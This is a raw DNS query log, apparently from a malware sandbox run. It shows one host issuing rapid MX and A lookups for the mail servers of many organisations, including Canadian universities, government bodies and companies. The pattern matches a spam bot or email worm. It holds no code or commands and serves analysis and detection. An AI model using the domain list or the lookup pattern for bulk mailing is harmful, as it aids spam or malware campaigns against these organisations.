Aug 24, 2023 19:03:57.377679110 CEST	192.168.2.8	8.8.8.8	0x27c8	Standard query (0)	comporium-net.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.426038027 CEST	192.168.2.8	8.8.8.8	0x8497	Standard query (0)	fillmoreriley-com.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.512168884 CEST	192.168.2.8	8.8.8.8	0x759b	Standard query (0)	virginmedia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.548367977 CEST	192.168.2.8	8.8.8.8	0xd18	Standard query (0)	dklicsinfo.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.568191051 CEST	192.168.2.8	8.8.8.8	0x4779	Standard query (0)	mxin10.virginmedia.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.622097015 CEST	192.168.2.8	8.8.8.8	0x2e45	Standard query (0)	holtrenfrew.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.661305904 CEST	192.168.2.8	8.8.8.8	0xa14f	Standard query (0)	mx2.hc420-50.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.747505903 CEST	192.168.2.8	8.8.8.8	0x3f92	Standard query (0)	coastms.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.856889009 CEST	192.168.2.8	8.8.8.8	0xd9c1	Standard query (0)	vch.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.896488905 CEST	192.168.2.8	8.8.8.8	0x4c79	Standard query (0)	coastms.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.091941118 CEST	192.168.2.8	8.8.8.8	0xb895	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.157547951 CEST	192.168.2.8	8.8.8.8	0x4623	Standard query (0)	minacs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.234780073 CEST	192.168.2.8	8.8.8.8	0x7b87	Standard query (0)	jdirving.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.264632940 CEST	192.168.2.8	8.8.8.8	0x71ba	Standard query (0)	mx2.hc117-76.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.291083097 CEST	192.168.2.8	8.8.8.8	0xce48	Standard query (0)	smtp.minacs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.341222048 CEST	192.168.2.8	8.8.8.8	0x5516	Standard query (0)	cupscalgary.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.433284998 CEST	192.168.2.8	8.8.8.8	0xb19b	Standard query (0)	nvcc.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.565885067 CEST	192.168.2.8	8.8.8.8	0x8a2c	Standard query (0)	nvcc-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.591095924 CEST	192.168.2.8	8.8.8.8	0x419b	Standard query (0)	canadiantire.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.754301071 CEST	192.168.2.8	8.8.8.8	0x7675	Standard query (0)	usask.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.810976028 CEST	192.168.2.8	8.8.8.8	0x4375	Standard query (0)	usask-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.841716051 CEST	192.168.2.8	8.8.8.8	0x9054	Standard query (0)	canadiantire-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.139661074 CEST	192.168.2.8	8.8.8.8	0x716d	Standard query (0)	agrium.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.175226927 CEST	192.168.2.8	8.8.8.8	0x179d	Standard query (0)	mxa-00175c01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.335530996 CEST	192.168.2.8	8.8.8.8	0x5516	Standard query (0)	cupscalgary.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.404460907 CEST	192.168.2.8	8.8.8.8	0x6959	Standard query (0)	holmanexhibits.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.465307951 CEST	192.168.2.8	8.8.8.8	0xe371	Standard query (0)	halogensoftware.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.498231888 CEST	192.168.2.8	8.8.8.8	0x2100	Standard query (0)	mxa-002d2501.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.505363941 CEST	192.168.2.8	8.8.8.8	0xfb11	Standard query (0)	cupscalgary-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.653485060 CEST	192.168.2.8	8.8.8.8	0x2ebc	Standard query (0)	aon.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.691719055 CEST	192.168.2.8	8.8.8.8	0x928b	Standard query (0)	aon-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.774636030 CEST	192.168.2.8	8.8.8.8	0x3d40	Standard query (0)	holmanexhibits-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.810297966 CEST	192.168.2.8	8.8.8.8	0x58ad	Standard query (0)	lidgate.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.956403971 CEST	192.168.2.8	8.8.8.8	0xe6ed	Standard query (0)	statefarm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.060436010 CEST	192.168.2.8	8.8.8.8	0xf041	Standard query (0)	cpr.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.127924919 CEST	192.168.2.8	8.8.8.8	0x469b	Standard query (0)	mxb-00104b02.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.138032913 CEST	192.168.2.8	8.8.8.8	0x8615	Standard query (0)	cryopeak.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.171400070 CEST	192.168.2.8	8.8.8.8	0x9a11	Standard query (0)	cryopeak-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.247296095 CEST	192.168.2.8	8.8.8.8	0x7767	Standard query (0)	flexity.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.282900095 CEST	192.168.2.8	8.8.8.8	0x2f15	Standard query (0)	smtp2.flexity.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.342503071 CEST	192.168.2.8	8.8.8.8	0xc6df	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.527226925 CEST	192.168.2.8	8.8.8.8	0x746b	Standard query (0)	ccfmidland.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.639914036 CEST	192.168.2.8	8.8.8.8	0xfc94	Standard query (0)	jensen-steiner.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.686609030 CEST	192.168.2.8	8.8.8.8	0x2690	Standard query (0)	mx00.1and1.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.719157934 CEST	192.168.2.8	8.8.8.8	0x9145	Standard query (0)	igloo.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.732649088 CEST	192.168.2.8	8.8.8.8	0x9dc2	Standard query (0)	justintabor.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.788271904 CEST	192.168.2.8	8.8.8.8	0x8123	Standard query (0)	mail.bluffsonline.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.804579973 CEST	192.168.2.8	8.8.8.8	0x58ad	Standard query (0)	lidgate.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.964921951 CEST	192.168.2.8	8.8.8.8	0x353	Standard query (0)	igloo-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.998349905 CEST	192.168.2.8	8.8.8.8	0x1802	Standard query (0)	mx.sympatico.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.050215960 CEST	192.168.2.8	8.8.8.8	0xdc5e	Standard query (0)	mail.islandnet.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.057291985 CEST	192.168.2.8	8.8.8.8	0xf041	Standard query (0)	cpr.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.092020988 CEST	192.168.2.8	8.8.8.8	0x71cd	Standard query (0)	kruger.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.219717979 CEST	192.168.2.8	8.8.8.8	0x4321	Standard query (0)	gyges.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.221148014 CEST	192.168.2.8	8.8.8.8	0x5284	Standard query (0)	kruger-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.467806101 CEST	192.168.2.8	8.8.8.8	0x5b3b	Standard query (0)	itcinfotech.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.627702951 CEST	192.168.2.8	8.8.8.8	0x4673	Standard query (0)	itcinfotech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.732845068 CEST	192.168.2.8	8.8.8.8	0x561a	Standard query (0)	veseys.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.771116018 CEST	192.168.2.8	8.8.8.8	0x5497	Standard query (0)	veseys-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.841811895 CEST	192.168.2.8	8.8.8.8	0xd1ef	Standard query (0)	bell.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.918596983 CEST	192.168.2.8	8.8.8.8	0x9829	Standard query (0)	yrdsb.edu.on.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.963469982 CEST	192.168.2.8	8.8.8.8	0xe6e5	Standard query (0)	mx-wyn.bell.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.995781898 CEST	192.168.2.8	8.8.8.8	0x474b	Standard query (0)	d405310.a.ess.ca.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.000168085 CEST	192.168.2.8	8.8.8.8	0xb76d	Standard query (0)	cssmi.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.054753065 CEST	192.168.2.8	8.8.8.8	0xf041	Standard query (0)	cpr.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.130975962 CEST	192.168.2.8	8.8.8.8	0xf8d9	Standard query (0)	cssmi-qc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.139038086 CEST	192.168.2.8	8.8.8.8	0xa258	Standard query (0)	ualberta.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.180219889 CEST	192.168.2.8	8.8.8.8	0xf06b	Standard query (0)	mx.ualberta.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.230967999 CEST	192.168.2.8	8.8.8.8	0xfbe	Standard query (0)	theedge.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.280724049 CEST	192.168.2.8	8.8.8.8	0x2015	Standard query (0)	distributiongroup.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.292625904 CEST	192.168.2.8	8.8.8.8	0xa458	Standard query (0)	protonmail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.314363003 CEST	192.168.2.8	8.8.8.8	0x6349	Standard query (0)	distributiongroup-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.318150997 CEST	192.168.2.8	8.8.8.8	0x266c	Standard query (0)	mail.protonmail.ch	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.377734900 CEST	192.168.2.8	8.8.8.8	0xfc46	Standard query (0)	hootsuite.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.435586929 CEST	192.168.2.8	8.8.8.8	0xc4f	Standard query (0)	gov.bc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.573764086 CEST	192.168.2.8	8.8.8.8	0xe9b2	Standard query (0)	hhangus.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.578495979 CEST	192.168.2.8	8.8.8.8	0x25da	Standard query (0)	gmx.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.589955091 CEST	192.168.2.8	8.8.8.8	0xa07b	Standard query (0)	mx-6.northwestel.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.603101969 CEST	192.168.2.8	8.8.8.8	0x9d4d	Standard query (0)	mx00.emig.gmx.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.615717888 CEST	192.168.2.8	8.8.8.8	0x9b79	Standard query (0)	d127261b.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.621159077 CEST	192.168.2.8	8.8.8.8	0x4198	Standard query (0)	gov-bc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.732852936 CEST	192.168.2.8	8.8.8.8	0xab75	Standard query (0)	telia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.762408972 CEST	192.168.2.8	8.8.8.8	0x337d	Standard query (0)	mail.telia.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.857680082 CEST	192.168.2.8	8.8.8.8	0x4486	Standard query (0)	coca-cola.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.083641052 CEST	192.168.2.8	8.8.8.8	0xfd81	Standard query (0)	mxa-0037a502.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.101470947 CEST	192.168.2.8	8.8.8.8	0xbd8	Standard query (0)	nam.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.404002905 CEST	192.168.2.8	8.8.8.8	0x2e1e	Standard query (0)	gagneassociates.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.440495014 CEST	192.168.2.8	8.8.8.8	0xd9b6	Standard query (0)	smtp.secureserver.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.481789112 CEST	192.168.2.8	8.8.8.8	0x3e26	Standard query (0)	naver.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.496988058 CEST	192.168.2.8	8.8.8.8	0x91d8	Standard query (0)	harrisonpensa.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.555188894 CEST	192.168.2.8	8.8.8.8	0x9ff3	Standard query (0)	harrisonpensa-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.597940922 CEST	192.168.2.8	8.8.8.8	0x27d2	Standard query (0)	mx1.naver.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.690148115 CEST	192.168.2.8	8.8.8.8	0xfe17	Standard query (0)	bentalls.co.uk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.828636885 CEST	192.168.2.8	8.8.8.8	0xb7ba	Standard query (0)	eu-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.846708059 CEST	192.168.2.8	8.8.8.8	0xca80	Standard query (0)	jhsph.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.887401104 CEST	192.168.2.8	8.8.8.8	0x9962	Standard query (0)	von.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.474484921 CEST	192.168.2.8	8.8.8.8	0x929	Standard query (0)	ca-smtp-inbound-1.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.475935936 CEST	192.168.2.8	8.8.8.8	0xfe44	Standard query (0)	smtp.johnshopkins.edu	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.496555090 CEST	192.168.2.8	8.8.8.8	0x8d93	Standard query (0)	daiwadae-com01c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.501915932 CEST	192.168.2.8	8.8.8.8	0x9a0d	Standard query (0)	nuskin.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.584285975 CEST	192.168.2.8	8.8.8.8	0x9b7e	Standard query (0)	infinera.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.629025936 CEST	192.168.2.8	8.8.8.8	0xcf97	Standard query (0)	infinera-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.706770897 CEST	192.168.2.8	8.8.8.8	0x8b10	Standard query (0)	nuskin-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.812517881 CEST	192.168.2.8	8.8.8.8	0x7fa3	Standard query (0)	epix.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.833839893 CEST	192.168.2.8	8.8.8.8	0x8930	Standard query (0)	ho.sail.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.867304087 CEST	192.168.2.8	8.8.8.8	0x7083	Standard query (0)	ho-sail-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.874955893 CEST	192.168.2.8	8.8.8.8	0xf9	Standard query (0)	omrworkgroup.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.918668985 CEST	192.168.2.8	8.8.8.8	0x3e27	Standard query (0)	mxb-00131701.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:05.025166988 CEST	192.168.2.8	8.8.8.8	0x21fa	Standard query (0)	mail.omrworkgroup.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.188361883 CEST	192.168.2.8	8.8.8.8	0x21fa	Standard query (0)	mail.omrworkgroup.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.328166008 CEST	192.168.2.8	8.8.8.8	0x76c4	Standard query (0)	royallepage.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.352782011 CEST	192.168.2.8	8.8.8.8	0x919c	Standard query (0)	wilbrad.com.au	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.399776936 CEST	192.168.2.8	8.8.8.8	0xff2d	Standard query (0)	au-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.486084938 CEST	192.168.2.8	8.8.8.8	0xb409	Standard query (0)	hult.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.525175095 CEST	192.168.2.8	8.8.8.8	0xf900	Standard query (0)	hult-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.643585920 CEST	192.168.2.8	8.8.8.8	0xcbf7	Standard query (0)	ontario.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.699523926 CEST	192.168.2.8	8.8.8.8	0xef0	Standard query (0)	sylvanlearning.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.737184048 CEST	192.168.2.8	8.8.8.8	0x94d0	Standard query (0)	sylvanlearning.com.mx1.sylvanlearning.rcimx.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.772780895 CEST	192.168.2.8	8.8.8.8	0xc561	Standard query (0)	ontario-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.968146086 CEST	192.168.2.8	8.8.8.8	0x97fe	Standard query (0)	timbermark.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.998413086 CEST	192.168.2.8	8.8.8.8	0x337f	Standard query (0)	allocadia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.049572945 CEST	192.168.2.8	8.8.8.8	0x93aa	Standard query (0)	allocadia-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.058372974 CEST	192.168.2.8	8.8.8.8	0xa73d	Standard query (0)	mts.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.240812063 CEST	192.168.2.8	8.8.8.8	0x58ec	Standard query (0)	mx.mymts.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.355494022 CEST	192.168.2.8	8.8.8.8	0xc573	Standard query (0)	iphouse.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.402354956 CEST	192.168.2.8	8.8.8.8	0x50ef	Standard query (0)	cngglobalservices.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.433592081 CEST	192.168.2.8	8.8.8.8	0xd27b	Standard query (0)	uwaterloo.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.466530085 CEST	192.168.2.8	8.8.8.8	0x3fa3	Standard query (0)	cstj.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.558698893 CEST	192.168.2.8	8.8.8.8	0xcd55	Standard query (0)	mx2.hc503-62.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.559371948 CEST	192.168.2.8	8.8.8.8	0x4789	Standard query (0)	teledynedalsa.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.590759039 CEST	192.168.2.8	8.8.8.8	0xd95b	Standard query (0)	us1mail01.teledyne.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.721177101 CEST	192.168.2.8	8.8.8.8	0x94c8	Standard query (0)	mxfilter-2.iphouse.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.782438993 CEST	192.168.2.8	8.8.8.8	0x34e7	Standard query (0)	ia.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.813508034 CEST	192.168.2.8	8.8.8.8	0xb7bd	Standard query (0)	mxa-002e1901.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.857446909 CEST	192.168.2.8	8.8.8.8	0xd4d6	Standard query (0)	sunnybrook.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.888885975 CEST	192.168.2.8	8.8.8.8	0x3f7d	Standard query (0)	mxb-001b7a02.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.014496088 CEST	192.168.2.8	8.8.8.8	0xb37e	Standard query (0)	designflooring.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.142066956 CEST	192.168.2.8	8.8.8.8	0x2e7b	Standard query (0)	baskes.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.185657024 CEST	192.168.2.8	8.8.8.8	0xcdd5	Standard query (0)	mx4c28.concentric.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.233129978 CEST	192.168.2.8	8.8.8.8	0xa7a9	Standard query (0)	novinium.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.267699003 CEST	192.168.2.8	8.8.8.8	0xe135	Standard query (0)	golden.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.285604000 CEST	192.168.2.8	8.8.8.8	0x2fc	Standard query (0)	mx1.hc3145-28.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.338078976 CEST	192.168.2.8	8.8.8.8	0x5e56	Standard query (0)	d298121b.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.371603012 CEST	192.168.2.8	8.8.8.8	0xe3e3	Standard query (0)	prominent-personnel.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.434144020 CEST	192.168.2.8	8.8.8.8	0x3bee	Standard query (0)	jmfunderground.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.511276007 CEST	192.168.2.8	8.8.8.8	0xe538	Standard query (0)	lefko.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.523049116 CEST	192.168.2.8	8.8.8.8	0x8d32	Standard query (0)	mailrouter.execulink.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.684159040 CEST	192.168.2.8	8.8.8.8	0xeb78	Standard query (0)	cityofselkirk.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.803883076 CEST	192.168.2.8	8.8.8.8	0xe4b9	Standard query (0)	mail.lefko.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.825778008 CEST	192.168.2.8	8.8.8.8	0xaeb4	Standard query (0)	pneusgriff.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.859961033 CEST	192.168.2.8	8.8.8.8	0xdaec	Standard query (0)	cityofselkirk-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.886702061 CEST	192.168.2.8	8.8.8.8	0xe2d4	Standard query (0)	leealmstrom.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.903723001 CEST	192.168.2.8	8.8.8.8	0xe1f8	Standard query (0)	saugususd.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.924772978 CEST	192.168.2.8	8.8.8.8	0xe173	Standard query (0)	mail.myrealpage.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.951719999 CEST	192.168.2.8	8.8.8.8	0x8978	Standard query (0)	torontopolice.on.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.989326954 CEST	192.168.2.8	8.8.8.8	0xe32b	Standard query (0)	mail2.torontopolice.on.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:11.454658031 CEST	192.168.2.8	8.8.8.8	0x17f7	Standard query (0)	crowtreesstudio.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.733336926 CEST	192.168.2.8	8.8.8.8	0x8346	Standard query (0)	enzoenergyservices.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.861207962 CEST	192.168.2.8	8.8.8.8	0xdc14	Standard query (0)	reyesholdings.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.875915051 CEST	192.168.2.8	8.8.8.8	0x7b75	Standard query (0)	kcdsb.on.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.955111980 CEST	192.168.2.8	8.8.8.8	0x1c04	Standard query (0)	ngenia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.000927925 CEST	192.168.2.8	8.8.8.8	0xbd56	Standard query (0)	reyesholdings-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.009803057 CEST	192.168.2.8	8.8.8.8	0x445	Standard query (0)	kcdsb-on-ca.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.049074888 CEST	192.168.2.8	8.8.8.8	0xd6f3	Standard query (0)	golder.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.076533079 CEST	192.168.2.8	8.8.8.8	0x87cf	Standard query (0)	golder-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.102963924 CEST	192.168.2.8	8.8.8.8	0xaed2	Standard query (0)	ngenia-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.217187881 CEST	192.168.2.8	8.8.8.8	0x70d	Standard query (0)	safholland.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.344845057 CEST	192.168.2.8	8.8.8.8	0x6162	Standard query (0)	rncan.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.364792109 CEST	192.168.2.8	8.8.8.8	0x4dda	Standard query (0)	mxa-001e1301.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.393367052 CEST	192.168.2.8	8.8.8.8	0xa7b1	Standard query (0)	rncan-gc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.457557917 CEST	192.168.2.8	8.8.8.8	0xe459	Standard query (0)	trendmicro.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.494647980 CEST	192.168.2.8	8.8.8.8	0xe143	Standard query (0)	sjdc-itpf-01.udc.trendmicro.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.607141972 CEST	192.168.2.8	8.8.8.8	0x742	Standard query (0)	milk.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.687097073 CEST	192.168.2.8	8.8.8.8	0xc00c	Standard query (0)	spm.net	MX (Mail exchange)	IN (0x0001)	false
